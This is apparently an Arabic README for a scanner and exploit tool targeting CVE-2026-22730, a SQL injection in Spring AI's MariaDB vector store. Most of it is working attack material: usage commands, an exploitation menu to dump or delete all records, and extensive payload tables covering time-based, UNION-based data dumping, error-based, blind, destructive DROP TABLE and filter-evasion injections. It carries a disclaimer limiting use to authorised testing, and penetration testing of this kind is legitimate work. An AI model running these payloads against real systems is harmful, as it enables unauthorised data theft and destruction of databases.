
# أداة فحص واستغلال لـ CVE-2026-22730، حقن SQL في مخزن متجهات MariaDB الخاص بـ Spring AI. تدعم الكشف المستند إلى الوقت، وطرق GET/POST، والاستغلال مع إعداد التقارير.
أداة تقييم أمني احترافية لثغرة CVE-2026-22730 – ثغرة حقن SQL حرجة تم اكتشافها في مخزن متجهات MariaDB الخاص بـ Spring AI. تتيح هذه الأداة لمختبري الاختراق المصرح لهم وباحثي الأمن اكتشاف الثغرة واستغلالها بأمان لأغراض تعليمية أو دفاعية.
📖 نظرة عامة
تؤثر ثغرة CVE-2026-22730 على إصدارات Spring AI 1.0.x < 1.0.4 و 1.1.x < 1.1.3 عند استخدام مخزن متجهات MariaDB. بسبب عدم كفاية تهريب قيم السلاسل في تعبيرات التصفية، يمكن للمهاجم حقن SQL تعسفي من خلال معاملات يتحكم بها المستخدم (مثل فلاتر البيانات الوصفية). يمكن أن يؤدي ذلك إلى:
توفر هذه الأداة طريقة آمنة وقابلة للتكوين للتحقق من وجود الثغرة وإظهار تأثيرها (بموافقة صريحة) أثناء تقييمات الأمن المصرح بها.
🚀 الميزات
✅ اكتشاف قائم على الوقت – يستخدم حقن SLEEP() لتأكيد الثغرة
✅ طرق HTTP متعددة – يدعم GET (معاملات الاستعلام) و POST (نص JSON)
✅ مدة نوم مخصصة – اضبطها حسب زمن استجابة الشبكة أو متطلبات التخفي
✅ خيارات الاستغلال – استرجاع جميع المستندات (SELECT) أو حذف الكل (DELETE)
✅ تقارير شاملة – إنشاء تقارير HTML و JSON ونص عادي
✅ واجهة سطر أوامر سهلة الاستخدام – وضع تفاعلي ووسائط سطر أوامر كاملة
✅ نظام حمولات قابل للتوسيع – دمج سلاسل حقن مخصصة بسهولة
📋 المتطلبات
🔧 التثبيت
git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 الاستخدام
يمكن تشغيل السكربت في الوضع التفاعلي أو باستخدام وسائط سطر الأوامر.
الصيغة الأساسية
python cve-2026-22730_scanner.py [options]
الخيارات
| الخيار | الوصف |
|---|---|
--url | عنوان URL الهدف (مثل: http://localhost:8081/api/docs) |
--method | طريقة HTTP: GET أو POST (الافتراضي: GET) |
--param | اسم معامل الاستعلام لـ GET، أو اسم مرجعي لـ POST (اختياري) |
--json-template | قالب JSON مع عنصر نائب __PAYLOAD__ (مطلوب لـ POST) |
--baseline | قيمة غير ضارة لطلب خط الأساس (الافتراضي: غير موجود) |
--sleep | ثواني النوم للاكتشاف القائم على الوقت (الافتراضي: 5) |
أمثلة
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "__PAYLOAD__"}'
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
python cve-2026-22730_scanner.py
سيُطلب منك إدخال عنوان URL والطريقة ومعامل/قالب JSON وخط الأساس ووقت النوم.
سير عمل الاستغلال
إذا تبين أن الهدف معرض للثغرة، يعرض السكربت قائمة:
[?] الهدف معرض للثغرة. اختر خيار الاستغلال:
1. استرجاع جميع المستندات (حقن SELECT)
2. حذف جميع المستندات (حقن DELETE) - تدميري
3. تخطي الاستغلال
الخيار 1 يرسل ' OR '1'='1 لاسترجاع جميع الصفوف (غير تدميري، يقرأ البيانات فقط).
الخيار 2 يرسل نفس الحمولة باستخدام طريقة HTTP DELETE – يزيل جميع السجلات بشكل دائم. يتطلب تأكيدًا صريحًا.
يتم تسجيل جميع الإجراءات وتضمينها في التقرير النهائي.
📁 ملفات المخرجات
بعد كل تشغيل، يتم إنشاء ثلاثة ملفات بطابع زمني في الدليل الحالي:
cve-2026-22730_YYYYMMDD_HHMMSS.json – تقرير JSON قابل للقراءة آليًا مع جميع التفاصيل.cve-2026-22730_YYYYMMDD_HHMMSS.txt – ملخص نص عادي، بما في ذلك بيانات الاستغلال إن وجدت.cve-2026-22730_YYYYMMDD_HHMMSS.html – تقرير HTML منسق، مناسب للمشاركة أو الأرشفة.⚠️ إخلاء مسؤولية مهم
هذه الأداة مخصصة لاختبارات الأمن المصرح بها والأغراض التعليمية فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وغير أخلاقي.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذا البرنامج.
احصل دائمًا على إذن كتابي قبل فحص أو استغلال أي هدف.
📚 المراجع
🤝 المساهمة
طلبات السحب وتقارير الأخطاء واقتراحات الميزات مرحب بها. يرجى فتح مشكلة أولاً لمناقشة التغييرات الرئيسية.
📄 الترخيص
هذا المشروع مرخص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.
طُوّر بـ ❤️ بواسطة Nabeel
أمثلة للحمولات (PAYLOAD)
لمجتمع الأمن
📌 كيفية استخدام هذه الحمولات
في السكربت، عند استخدام POST مع --json-template، استبدل __PAYLOAD__ بأي حمولة من القائمة أدناه.
لطلبات GET، مرر الحمولة ببساطة كقيمة للمعامل (يتعامل السكربت مع ترميز URL تلقائيًا).
🔥 فئات الحمولات
تسبب هذه الحمولات تأخيرًا إذا نجح الحقن. استخدمها لتأكيد الثغرة.
| الحمولة | الوصف |
|---|---|
' OR SLEEP(5) -- | حمولة قياسية قائمة على الوقت. إذا توقف الاستعلام لمدة ~5 ثوانٍ، فإن الحقن يعمل. |
' OR BENCHMARK(10000000,MD5('a')) -- | بديل لـ MySQL/MariaDB (BENCHMARK). |
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- | نوم متداخل لتجاوز بعض الفلاتر. |
' OR 1=1 AND SLEEP(5) -- | يجمع بين شرط صحيح دائمًا والنوم. |
تجعل هذه الحمولات شرط WHERE صحيحًا دائمًا، مما يعيد جميع السجلات.
| الحمولة | الوصف |
|---|---|
' OR '1'='1 | حقن كلاسيكي صحيح دائمًا. |
' OR 1=1 -- | متغير آخر (يتطلب مسافة بعد --). |
' OR ''=' | يعتمد على مقارنة سلسلة فارغة. |
' OR 1=1# | يستخدم # لتعليق MariaDB (مشفر كـ %23). |
' OR 1=1 LIMIT 1 -- | يعيد صفًا واحدًا فقط (مفيد للمخرجات المتحكم بها). |
مفيد عندما يعرض التطبيق النتائج. تحتاج إلى مطابقة عدد الأعمدة.
| الحمولة | الوصف |
|---|---|
' UNION SELECT NULL, database(), user(), version() -- | استرجاع اسم قاعدة البيانات والمستخدم والإصدار. (اضبط عدد NULL لمطابقة الأعمدة.) |
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- | سرد الجداول. |
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- | سرد الأعمدة. |
' UNION SELECT 1, content, metadata FROM vector_store -- | تفريغ البيانات الفعلية (إذا تطابق عدد الأعمدة). |
تؤدي إلى أخطاء تسرب المعلومات.
| الحمولة | الوصف |
|---|---|
' AND extractvalue(1, concat(0x7e, database())) -- | قائم على الأخطاء في MariaDB/MySQL. |
' AND updatexml(1, concat(0x7e, version()), 1) -- | طريقة أخطاء أخرى. |
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- | خطأ مفتاح مكرر. |
مفيد عندما لا تظهر أي مخرجات أو أخطاء، لكن سلوك التطبيق يتغير.
| الحمولة | الوصف |
|---|---|
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- | يتحقق من الحرف الأول لاسم قاعدة البيانات. |
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- | يتحقق من عدد الجداول. |
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- | يختبر وجود جدول. |
حمولات تدميرية (استخدم بحذر شديد).
| الحمولة | الوصف |
|---|---|
' OR '1'='1 | عند استخدامها مع DELETE، تزيل جميع الصفوف. |
' OR 1=1; DROP TABLE vector_store -- | تحاول إسقاط الجدول بالكامل (يتطلب استعلامات مكدسة، غالبًا معطلة). |
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- | تحاول إدراج بيانات جديدة. |
إصدارات مبهمة لتجاوز مطابقة الأنماط البسيطة.
| الحمولة | الوصف |
|---|---|
%27%20OR%20SLEEP(5)%20-- | مشفرة URL (يتعامل السكربت مع هذا تلقائيًا). |
' /**/OR/**/SLEEP(5)/**/-- | تعليقات سطرية لتقسيم الكلمات المفتاحية. |
' OR 0x273d27=0x273d27 -- | مقارنة مشفرة بالنظام الست عشري ('='). |
' OR 1=1 /*!50000SLEEP(5)*/ -- | تعليق خاص بإصدار MySQL. |
| الحمولة | الوصف |
|---|---|
' OR '1'='1 | تستخدم لاسترجاع جميع المستندات (إثبات المفهوم). |
' OR SLEEP(5) -- | حمولة اكتشاف قائمة على الوقت تستخدم في الماسح. |
' OR '1'='1 | تستخدم أيضًا لحقن DELETE. |
📝 أمثلة على قوالب JSON مع الحمولة
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
في السكربت، ستمرر القالب على النحو التالي:
--json-template '{"department": "__PAYLOAD__"}'
سيستبدل السكربت __PAYLOAD__ بالحمولة الفعلية.
ملاحظة حول عنوان URL
يتطلب السكربت عنوان URL الكامل لنقطة النهاية التي تقبل المعامل المعرض للثغرة. على سبيل المثال:
✅ http://example.com/api/docs – إذا كانت نقطة النهاية هي /api/docs
✅ http://example.com/search – إذا كانت نقطة النهاية هي /search
❌ http://example.com – غير كافٍ، يحتاج السكربت إلى المسار الدقيق